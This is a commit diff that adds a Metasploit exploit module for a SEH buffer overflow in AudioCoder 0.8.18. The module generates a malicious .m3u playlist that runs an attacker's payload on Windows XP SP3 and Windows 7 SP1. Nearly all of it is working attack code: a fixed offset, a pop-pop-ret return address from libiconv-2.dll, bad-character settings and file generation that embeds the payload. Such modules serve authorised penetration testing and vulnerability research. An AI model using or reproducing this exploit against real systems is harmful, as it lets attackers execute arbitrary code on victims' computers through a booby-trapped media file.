|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::FILEFORMAT |
| 14 | + include Msf::Exploit::Seh |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'AudioCoder .M3U Buffer Overflow', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability |
| 21 | + occurs when adding an .m3u, allowing arbitrary code execution with the privileges |
| 22 | + of the user running AudioCoder. This module has been tested successfully on |
| 23 | + AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'metacom', # Vulnerability discovery and PoC |
| 29 | + 'juan vazquez' # Metasploit module |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'EDB', '25141' ] |
| 34 | + ], |
| 35 | + 'DefaultOptions' => |
| 36 | + { |
| 37 | + 'EXITFUNC' => 'process' |
| 38 | + }, |
| 39 | + 'Platform' => 'win', |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'Space' => 6596, |
| 43 | + 'BadChars' => "\x00\x5c\x40\x0d\x0a", |
| 44 | + 'DisableNops' => true, |
| 45 | + 'StackAdjustment' => -3500, |
| 46 | + }, |
| 47 | + |
| 48 | + 'Targets' => |
| 49 | + [ |
| 50 | + [ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1', |
| 51 | + { |
| 52 | + 'Ret' => 0x66011b56, # ppr from libiconv-2.dll |
| 53 | + 'Offset' => 765 |
| 54 | + } |
| 55 | + ] |
| 56 | + ], |
| 57 | + 'Privileged' => false, |
| 58 | + 'DisclosureDate' => 'May 01 2013', |
| 59 | + 'DefaultTarget' => 0)) |
| 60 | + |
| 61 | + register_options( |
| 62 | + [ |
| 63 | + OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), |
| 64 | + ], self.class) |
| 65 | + |
| 66 | + end |
| 67 | + |
| 68 | + def exploit |
| 69 | + buffer = "http://" |
| 70 | + buffer << rand_text(target['Offset']) |
| 71 | + buffer << generate_seh_record(target.ret) |
| 72 | + buffer << payload.encoded |
| 73 | + |
| 74 | + file_create(buffer) |
| 75 | + end |
| 76 | +end |
0 commit comments